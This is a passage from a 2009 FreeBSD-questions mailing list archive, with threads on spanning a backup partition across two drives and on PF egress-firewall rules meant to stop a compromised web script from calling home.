i.e., only 16G > left... > > Now that I know this approach is going to work, I'm going to run out and > buy a big drive. > > Question: is it possible to just expand my existing /backup partition to > encompass both the current drive and the new drive? I'm guessing not, > since Chapter 8 in "Absolute FreeBSD" says that a partition is part of a > slice, which is part of a physical drive, but maybe some bright person > has come up with an app that overcomes that limitation. > > Thanks: John Hi John, I haven't done much with any of these solutions yet, but I think each one can do what you want, with various pros/cons: Vinum: http://www.freebsd.org/doc/en/books/handbook/vinum-vinum.html RAID0 striping: http://www.freebsdwiki.net/index.php/RAID0,_Software,_How_to_setup ZFS: http://www.freebsd.org/doc/en/books/handbook/filesystems-zfs.html Hope that helps get you started, Greg - -- Greg Larkin http://www.FreeBSD.org/ - The Power To Serve http://www.sourcehosting.net/ - Ready. Set. Code. http://twitter.com/sourcehosting/ - Follow me, follow you -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iD8DBQFKlTNy0sRouByUApARAuIfAKCSSxrcZxS7t4U1dZZOdZ6Taoxs8gCgrLrC BFLKz7VNBHEYTpoTQ25jnm8= =pM8t -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:20:56 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 34076106568B for ; Wed, 26 Aug 2009 13:20:56 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-vw0-f189.google.com (mail-vw0-f189.google.com [209.85.212.189]) by mx1.freebsd.org (Postfix) with ESMTP id C038E8FC14 for ; Wed, 26 Aug 2009 13:20:55 +0000 (UTC) Received: by vws27 with SMTP id 27so86474vws.3 for ; Wed, 26 Aug 2009 06:20:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=GEKzBNuncaYS5WPeTRNP/+loSGRQKjCddQf/Rdi4k3I=; b=JLKBP7dMF4rMYM6xU+N5UunEVIzkQR5++/cBLFjQ+jqXrTylZ3N4KpkAeyxk/ZZYe+ ErEQleyVOHtezq9iVzPxowqbuTKdOjKMmJKyblpd9aUrKaHxaJ7C1h9Kk8Mqlm8JQniz whExCVkl2b1qYBQ9ij8F2a908mLvTuoEO8PDw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=lDV6Tk26BiKA1kprH75c8nFUE+ENWE9TmRBI4emCy3bu8lrOp3UOms5pIuAq0jOryH 5q+RMaWyO2Ojg8ioauoRf+n9AGO6lW3LMlEUdfZXuTWri0xrHOvNCUzWiizGXIVlWicG BreaildYUwRaqRGXBFMIoufmhz/bqC5uvUh10= MIME-Version: 1.0 Received: by 10.150.88.35 with SMTP id l35mr11525883ybb.274.1251292854777; Wed, 26 Aug 2009 06:20:54 -0700 (PDT) In-Reply-To: <20090826081123.0a06b1c8.wmoran@potentialtech.com> References: <4A924601.3000507@lim.nl> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> <20090826081123.0a06b1c8.wmoran@potentialtech.com> Date: Wed, 26 Aug 2009 08:20:54 -0500 Message-ID: <6201873e0908260620u22eaf1acl3879cc1c77a232b8@mail.gmail.com> From: Adam Vande More To: Bill Moran Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:20:56 -0000 On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wrote: > Adam Vande More wrote: > > > > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran >wrote: > > > > > In response to Adam Vande More : > > > > > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran < > wmoran@potentialtech.com > > > >wrote: > > > > > > > > > In response to Adam Vande More : > > > > > > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran < > > > wmoran@potentialtech.com > > > > > >wrote: > > > > > > > > > > > > > In response to Paul Schmehl : > > > > > > > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace < > > > cb@lim.nl> > > > > > > > wrote: > > > > > > > > > > > > > > > > > Bill Moran wrote: > > > > > > > > >> > > > > > > > > >> You can add an ipfw rule to prevent the script from > calling > > > home, > > > > > > > which > > > > > > > > >> will effectively render it neutered until you can track > down > > > and > > > > > > > actually > > > > > > > > >> _fix_ the problem. > > > > > > > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to > > > 94.102.51.57 on > > > > > > > port > > > > > > > > > 7000". OK, so I how do I know what port the script is using > for > > > > > > > outgoing > > > > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > > > > pass out quick on gif0 inet6 > > > > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > > > > block in log > > > > > > > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly > allowed > > > > > > > > > Everything allowed out. > > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it breaks > things > > > in > > > > > odd > > > > > > > ways. > > > > > > > > For example, your mail server listens on port 25 (and > possibly > > > 465 as > > > > > > > well) but > > > > > > > > it communicates with connecting clients on whatever ethereal > port > > > the > > > > > > > client > > > > > > > > decided to use. If the port the client selects happens to be > in > > > a > > > > > range > > > > > > > that > > > > > > > > you are blocking, communication will be impossible and the > client > > > > > will > > > > > > > report > > > > > > > > that your mail server is non-responsive. > > > > > > > > > > > > > > You're doing it wrong. Block on the destination port _only_ > and > > > you > > > > > don't > > > > > > > care about the ephemeral ports. > > > > > > > > > > > > What ports would you block then when you're trying to run a > > > webserver? > > > > > > > > > > My point (which is presented in examples below) is that you block > > > > > everything > > > > > and only allow what is needed (usually only dns and ntp, possibly > smtp > > > if > > > > > the web server needs to send mail) > > > > > > > > > > That single statement above was directed specifically at the > comment > > > about > > > > > it being impossible to predict (and thus block) ephemeral source > ports. > > > > > He's > > > > > right about that, and that's why filtering on the destination port > is > > > the > > > > > more common practice. > > > > > > > > > > Of course, that caused me to create an email that seems to > contradict > > > > > itself, if you don't notice that it's two answers to two different > > > > > comments. > > > > > > > > My point was that it's unfeasible to block by destination point. You > can > > > > only block by destination port if it's a known quantity, and the > > > destination > > > > port is ephemeral in the question I posed(which what the OP had an > issue > > > > with). > > > > > > Please read the entire email before you respond. My last example below > > > demonstrates how to do what you call "unfeasible". > > > > > > > > > > > It's much easier to block outgoing ports for services you > *don't* > > > > > want to > > > > > > > > offer, but, if the service isn't running anyway, blocking the > > > port is > > > > > > > > non-productive. > > > > > > > > > > > > > > You're obviously misunderstanding me completely. Your not > blocking > > > > > > > incoming > > > > > > > connections, your preventing outgoing ones, which means there > _is_ > > > no > > > > > > > service running on your local machine. > > > > > > > > > > > > > > For example, a server that is _only_ web (with SSH for admin) > could > > > > > have > > > > > > > a ruleset like: > > > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port > > > {25,587,465,22} > > > > > keep > > > > > > > state > > > > > > > pass out quick on $ext_if proto tcp from me to any port {25} > keep > > > state > > > > > > > pass out quick on $ext_if proto upd from me to any port > {53,123} > > > keep > > > > > state > > > > > > > block all > > > > > > > > > > > > > > (note that's only an example, there may be some fine points I'm > > > > > missing) > > > > > > > > > > > > > > One thing that had not yet been mentioned when I posted my > earlier > > > > > comment, > > > > > > > is that this system is a combination firewall/web server. That > > > makes > > > > > the > > > > > > > rules more complicated, but the setup is still possible: > > > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} > keep > > > state > > > > > > > pass out quick on $ext_if proto upd from me to any port > {53,123} > > > keep > > > > > state > > > > > > > pass out quick on $ext_if from $internal_network to any all > keep > > > state > > > > > > > block all > > > > > > > > > > > > > > Which allows limited outgoing traffic originating from the box > > > itself, > > > > > > > but allows unlimited outgoing traffic from systems on > > > > > $internal_network. > > > > > > > > > > > > > > I've done this with great success. In fact, I had a fun time > where > > > a > > > > > > > client in question was infected with viruses out the wazoo, but > the > > > > > > > viruses never spread off their local network because I only > allowed > > > > > > > SMTP traffic to their SMTP relay, which required SMTP auth > (thus > > > the > > > > > > > viruses couldn't send mail) > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > > Adam Vande More > > > > > > _______________________________________________ > > > > > > freebsd-questions@freebsd.org mailing list > > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > > > > To unsubscribe, send any mail to " > > > > > freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > > > > > > > > -- > > > > > Bill Moran > > > > > http://www.potentialtech.com > > > > > http://people.collaborativefusion.com/~wmoran/ > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > Adam Vande More > > > > > You said block by destination port. What you presented is not this, > > although it gives give a functional environment of it. Sorry for the > > pedantic pursuit here, but IMO terminology is important here. > > Both of my examples are filtering based on destination port. In reviewing > this thread, you make the statement "destination ports are ephemeral" which > is wrong. I can only assume that your understanding of IP port usage is > wrong or incomplete. > blocking destination port != keep state and destination port are certainly ephemeral simply depends on pov. Your original statement indicated blocking by port at egress was the way to go. Your example did no such thing, it tracked state which is completely different from both a functional and technical standpoint. -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:22:27 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A6D27106568E for ; Wed, 26 Aug 2009 13:22:27 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from mail-ew0-f209.google.com (mail-ew0-f209.google.com [209.85.219.209]) by mx1.freebsd.org (Postfix) with ESMTP id 365528FC23 for ; Wed, 26 Aug 2009 13:22:27 +0000 (UTC) Received: by ewy5 with SMTP id 5so141108ewy.36 for ; Wed, 26 Aug 2009 06:22:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=5Eb1QMQmNoXZLIIXagb58iO7BzWgU6zuEplG4CK3mkw=; b=QPVtB/mwP2uq0R9cMCp8PRsc3BclRKPHt5phVFbvuDt4VtYQKBBxiPeMD4ND809n8L sm+LvhXaQiPyClKet3t3l0uzkRB+LMUbSbYT+GXPaCeEG8rUQMfIkriMw2xoKVFQCOq4 elvXPHyLoNlmVIOv5MGc4xjefSrRB0C+9j5ho= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=Gcs+0THfQi1ASbokbrMkfEc5LbF+SuInH/WyDf+B80q3020t0e371R1O7iPdZjvDjn 6UCLxH7sHCl8z/k5KsZwJbSa1lChoIZ0rnV2D1sv9+3LNdc/cp4jOXQQO49pPZWtETJv bVmBd8wfGakIftH6GfGjUIt4jB+rfEGZWyJfI= Received: by 10.210.35.11 with SMTP id i11mr5034320ebi.96.1251292946331; Wed, 26 Aug 2009 06:22:26 -0700 (PDT) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id 28sm3469914eyg.2.2009.08.26.06.22.22 (version=SSLv3 cipher=RC4-MD5); Wed, 26 Aug 2009 06:22:23 -0700 (PDT) Date: Wed, 26 Aug 2009 14:22:21 +0100 From: RW To: freebsd-questions@freebsd.org Message-ID: <20090826142221.0807dc75@gumby.homeunix.com> In-Reply-To: References: X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:22:27 -0000 On Wed, 26 Aug 2009 08:45:47 -0400 John Almberg wrote: > Question: is it possible to just expand my existing /backup > partition to encompass both the current drive and the new drive? I'm > guessing not, since Chapter 8 in "Absolute FreeBSD" says that a > partition is part of a slice, You can join 2 partitions into 1 with gconcat. OTOH that would wipe any existing data as you would need to put a new filesystem on the combined partition. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:30:26 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2A70B106568F for ; Wed, 26 Aug 2009 13:30:26 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id D0A148FC14 for ; Wed, 26 Aug 2009 13:30:25 +0000 (UTC) Received: from localhost (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id 9564BEBC0A; Wed, 26 Aug 2009 09:30:24 -0400 (EDT) Date: Wed, 26 Aug 2009 09:30:23 -0400 From: Bill Moran To: Adam Vande More Message-Id: <20090826093023.e46f6175.wmoran@potentialtech.com> In-Reply-To: <6201873e0908260620u22eaf1acl3879cc1c77a232b8@mail.gmail.com> References: <4A924601.3000507@lim.nl> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> <20090826081123.0a06b1c8.wmoran@potentialtech.com> <6201873e0908260620u22eaf1acl3879cc1c77a232b8@mail.gmail.com> Organization: Bill Moran X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:30:26 -0000 In response to Adam Vande More : > On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wrote: > > > Adam Vande More wrote: > > > > > > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran > >wrote: > > > > > > > In response to Adam Vande More : > > > > > > > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran < > > wmoran@potentialtech.com > > > > >wrote: > > > > > > > > > > > In response to Adam Vande More : > > > > > > > > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran < > > > > wmoran@potentialtech.com > > > > > > >wrote: > > > > > > > > > > > > > > > In response to Paul Schmehl : > > > > > > > > > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace < > > > > cb@lim.nl> > > > > > > > > wrote: > > > > > > > > > > > > > > > > > > > Bill Moran wrote: > > > > > > > > > >> > > > > > > > > > >> You can add an ipfw rule to prevent the script from > > calling > > > > home, > > > > > > > > which > > > > > > > > > >> will effectively render it neutered until you can track > > down > > > > and > > > > > > > > actually > > > > > > > > > >> _fix_ the problem. > > > > > > > > > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to > > > > 94.102.51.57 on > > > > > > > > port > > > > > > > > > > 7000". OK, so I how do I know what port the script is using > > for > > > > > > > > outgoing > > > > > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > > > > > pass out quick on gif0 inet6 > > > > > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > > > > > block in log > > > > > > > > > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly > > allowed > > > > > > > > > > Everything allowed out. > > > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it breaks > > things > > > > in > > > > > > odd > > > > > > > > ways. > > > > > > > > > For example, your mail server listens on port 25 (and > > possibly > > > > 465 as > > > > > > > > well) but > > > > > > > > > it communicates with connecting clients on whatever ethereal > > port > > > > the > > > > > > > > client > > > > > > > > > decided to use. If the port the client selects happens to be > > in > > > > a > > > > > > range > > > > > > > > that > > > > > > > > > you are blocking, communication will be impossible and the > > client > > > > > > will > > > > > > > > report > > > > > > > > > that your mail server is non-responsive. > > > > > > > > > > > > > > > > You're doing it wrong. Block on the destination port _only_ > > and > > > > you > > > > > > don't > > > > > > > > care about the ephemeral ports. > > > > > > > > > > > > > > What ports would you block then when you're trying to run a > > > > webserver? > > > > > > > > > > > > My point (which is presented in examples below) is that you block > > > > > > everything > > > > > > and only allow what is needed (usually only dns and ntp, possibly > > smtp > > > > if > > > > > > the web server needs to send mail) > > > > > > > > > > > > That single statement above was directed specifically at the > > comment > > > > about > > > > > > it being impossible to predict (and thus block) ephemeral source > > ports. > > > > > > He's > > > > > > right about that, and that's why filtering on the destination port > > is > > > > the > > > > > > more common practice. > > > > > > > > > > > > Of course, that caused me to create an email that seems to > > contradict > > > > > > itself, if you don't notice that it's two answers to two different > > > > > > comments. > > > > > > > > > > My point was that it's unfeasible to block by destination point. You > > can > > > > > only block by destination port if it's a known quantity, and the > > > > destination > > > > > port is ephemeral in the question I posed(which what the OP had an > > issue > > > > > with). > > > > > > > > Please read the entire email before you respond. My last example below > > > > demonstrates how to do what you call "unfeasible". > > > > > > > > > > > > > It's much easier to block outgoing ports for services you > > *don't* > > > > > > want to > > > > > > > > > offer, but, if the service isn't running anyway, blocking the > > > > port is > > > > > > > > > non-productive. > > > > > > > > > > > > > > > > You're obviously misunderstanding me completely. Your not > > blocking > > > > > > > > incoming > > > > > > > > connections, your preventing outgoing ones, which means there > > _is_ > > > > no > > > > > > > > service running on your local machine. > > > > > > > > > > > > > > > > For example, a server that is _only_ web (with SSH for admin) > > could > > > > > > have > > > > > > > > a ruleset like: > > > > > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port > > > > {25,587,465,22} > > > > > > keep > > > > > > > > state > > > > > > > > pass out quick on $ext_if proto tcp from me to any port {25} > > keep > > > > state > > > > > > > > pass out quick on $ext_if proto upd from me to any port > > {53,123} > > > > keep > > > > > > state > > > > > > > > block all > > > > > > > > > > > > > > > > (note that's only an example, there may be some fine points I'm > > > > > > missing) > > > > > > > > > > > > > > > > One thing that had not yet been mentioned when I posted my > > earlier > > > > > > comment, > > > > > > > > is that this system is a combination firewall/web server. That > > > > makes > > > > > > the > > > > > > > > rules more complicated, but the setup is still possible: > > > > > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} > > keep > > > > state > > > > > > > > pass out quick on $ext_if proto upd from me to any port > > {53,123} > > > > keep > > > > > > state > > > > > > > > pass out quick on $ext_if from $internal_network to any all > > keep > > > > state > > > > > > > > block all > > > > > > > > > > > > > > > > Which allows limited outgoing traffic originating from the box > > > > itself, > > > > > > > > but allows unlimited outgoing traffic from systems on > > > > > > $internal_network. > > > > > > > > > > > > > > > > I've done this with great success. In fact, I had a fun time > > where > > > > a > > > > > > > > client in question was infected with viruses out the wazoo, but > > the > > > > > > > > viruses never spread off their local network because I only > > allowed > > > > > > > > SMTP traffic to their SMTP relay, which required SMTP auth > > (thus > > > > the > > > > > > > > viruses couldn't send mail) > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > > > Adam Vande More > > > > > > > _______________________________________________ > > > > > > > freebsd-questions@freebsd.org mailing list > > > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > > > > > To unsubscribe, send any mail to " > > > > > > freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > > > > > > > > > > > -- > > > > > > Bill Moran > > > > > > http://www.potentialtech.com > > > > > > http://people.collaborativefusion.com/~wmoran/ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > Adam Vande More > > > > > > > You said block by destination port. What you presented is not this, > > > although it gives give a functional environment of it. Sorry for the > > > pedantic pursuit here, but IMO terminology is important here. > > > > Both of my examples are filtering based on destination port. In reviewing > > this thread, you make the statement "destination ports are ephemeral" which > > is wrong. I can only assume that your understanding of IP port usage is > > wrong or incomplete. > > > > blocking destination port != keep state Why not? Because you said so? > and destination port are certainly ephemeral simply depends on pov. Your > original statement indicated blocking by port at egress was the way to go. > Your example did no such thing, it tracked state which is completely > different from both a functional and technical standpoint. This paragraph serves to further convince me that you are getting concepts confused. I see no reason for me to continue discussing this. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:44:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B4950106568F for ; Wed, 26 Aug 2009 13:44:43 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-vw0-f189.google.com (mail-vw0-f189.google.com [209.85.212.189]) by mx1.freebsd.org (Postfix) with ESMTP id 4CBEC8FC25 for ; Wed, 26 Aug 2009 13:44:43 +0000 (UTC) Received: by vws27 with SMTP id 27so103886vws.3 for ; Wed, 26 Aug 2009 06:44:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=9gO4E6wJjFGQcO2akbZfb+jfFKg31woKFCu79Xh9GhU=; b=c4hfc9RrqCKm8BpNZ1R3JW8uLlAjgci8CWx8tTpmMDpU+VBgSSNtrHhSoU2CZnvNL/ 75gZdW+hhU+85321baT9QIc/sXv0lJfjdJxLw6JdV4iv5h/5XUiF7s2m7xpJ22LjiSpO vPDmjXxo/bzV7OqW8WPhxhId0E95RaB/VKERg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=FzsKx68NvXLmlq9RaGQssdAkBCOHYrDN1sfMiuyO4OW5ArNsoKg5DpXaYCqdcfniOm b38LBT8mzxIPDFAv7siMStLQvFGfpNV4LYyNkezAO0eVi2bJ3JWzVn27OExaUmUKzocr sDwwJ0vujO9scbTdSisKYmpT4OaQlQQWt1Lts= MIME-Version: 1.0 Received: by 10.150.174.33 with SMTP id w33mr12929425ybe.239.1251294282173; Wed, 26 Aug 2009 06:44:42 -0700 (PDT) In-Reply-To: <20090826093023.e46f6175.wmoran@potentialtech.com> References: <4A924601.3000507@lim.nl> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> <20090826081123.0a06b1c8.wmoran@potentialtech.com> <6201873e0908260620u22eaf1acl3879cc1c77a232b8@mail.gmail.com> <20090826093023.e46f6175.wmoran@potentialtech.com> Date: Wed, 26 Aug 2009 08:44:41 -0500 Message-ID: <6201873e0908260644o1192ec0du3b87784eaa14f733@mail.gmail.com> From: Adam Vande More To: Bill Moran Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:44:43 -0000 On Wed, Aug 26, 2009 at 8:30 AM, Bill Moran wrote: > In response to Adam Vande More : > > > On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran >wrote: > > > > > Adam Vande More wrote: > > > > > > > > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran < > wmoran@potentialtech.com > > > >wrote: > > > > > > > > > In response to Adam Vande More : > > > > > > > > > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran < > > > wmoran@potentialtech.com > > > > > >wrote: > > > > > > > > > > > > > In response to Adam Vande More : > > > > > > > > > > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran < > > > > > wmoran@potentialtech.com > > > > > > > >wrote: > > > > > > > > > > > > > > > > > In response to Paul Schmehl : > > > > > > > > > > > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace > < > > > > > cb@lim.nl> > > > > > > > > > wrote: > > > > > > > > > > > > > > > > > > > > > Bill Moran wrote: > > > > > > > > > > >> > > > > > > > > > > >> You can add an ipfw rule to prevent the script from > > > calling > > > > > home, > > > > > > > > > which > > > > > > > > > > >> will effectively render it neutered until you can > track > > > down > > > > > and > > > > > > > > > actually > > > > > > > > > > >> _fix_ the problem. > > > > > > > > > > > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to > > > > > 94.102.51.57 on > > > > > > > > > port > > > > > > > > > > > 7000". OK, so I how do I know what port the script is > using > > > for > > > > > > > > > outgoing > > > > > > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > > > > > > pass out quick on gif0 inet6 > > > > > > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > > > > > > block in log > > > > > > > > > > > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly > > > allowed > > > > > > > > > > > Everything allowed out. > > > > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it > breaks > > > things > > > > > in > > > > > > > odd > > > > > > > > > ways. > > > > > > > > > > For example, your mail server listens on port 25 (and > > > possibly > > > > > 465 as > > > > > > > > > well) but > > > > > > > > > > it communicates with connecting clients on whatever > ethereal > > > port > > > > > the > > > > > > > > > client > > > > > > > > > > decided to use. If the port the client selects happens > to be > > > in > > > > > a > > > > > > > range > > > > > > > > > that > > > > > > > > > > you are blocking, communication will be impossible and > the > > > client > > > > > > > will > > > > > > > > > report > > > > > > > > > > that your mail server is non-responsive. > > > > > > > > > > > > > > > > > > You're doing it wrong. Block on the destination port > _only_ > > > and > > > > > you > > > > > > > don't > > > > > > > > > care about the ephemeral ports. > > > > > > > > > > > > > > > > What ports would you block then when you're trying to run a > > > > > webserver? > > > > > > > > > > > > > > My point (which is presented in examples below) is that you > block > > > > > > > everything > > > > > > > and only allow what is needed (usually only dns and ntp, > possibly > > > smtp > > > > > if > > > > > > > the web server needs to send mail) > > > > > > > > > > > > > > That single statement above was directed specifically at the > > > comment > > > > > about > > > > > > > it being impossible to predict (and thus block) ephemeral > source > > > ports. > > > > > > > He's > > > > > > > right about that, and that's why filtering on the destination > port > > > is > > > > > the > > > > > > > more common practice. > > > > > > > > > > > > > > Of course, that caused me to create an email that seems to > > > contradict > > > > > > > itself, if you don't notice that it's two answers to two > different > > > > > > > comments. > > > > > > > > > > > > My point was that it's unfeasible to block by destination point. > You > > > can > > > > > > only block by destination port if it's a known quantity, and the > > > > > destination > > > > > > port is ephemeral in the question I posed(which what the OP had > an > > > issue > > > > > > with). > > > > > > > > > > Please read the entire email before you respond. My last example > below > > > > > demonstrates how to do what you call "unfeasible". > > > > > > > > > > > > > > > It's much easier to block outgoing ports for services you > > > *don't* > > > > > > > want to > > > > > > > > > > offer, but, if the service isn't running anyway, blocking > the > > > > > port is > > > > > > > > > > non-productive. > > > > > > > > > > > > > > > > > > You're obviously misunderstanding me completely. Your not > > > blocking > > > > > > > > > incoming > > > > > > > > > connections, your preventing outgoing ones, which means > there > > > _is_ > > > > > no > > > > > > > > > service running on your local machine. > > > > > > > > > > > > > > > > > > For example, a server that is _only_ web (with SSH for > admin) > > > could > > > > > > > have > > > > > > > > > a ruleset like: > > 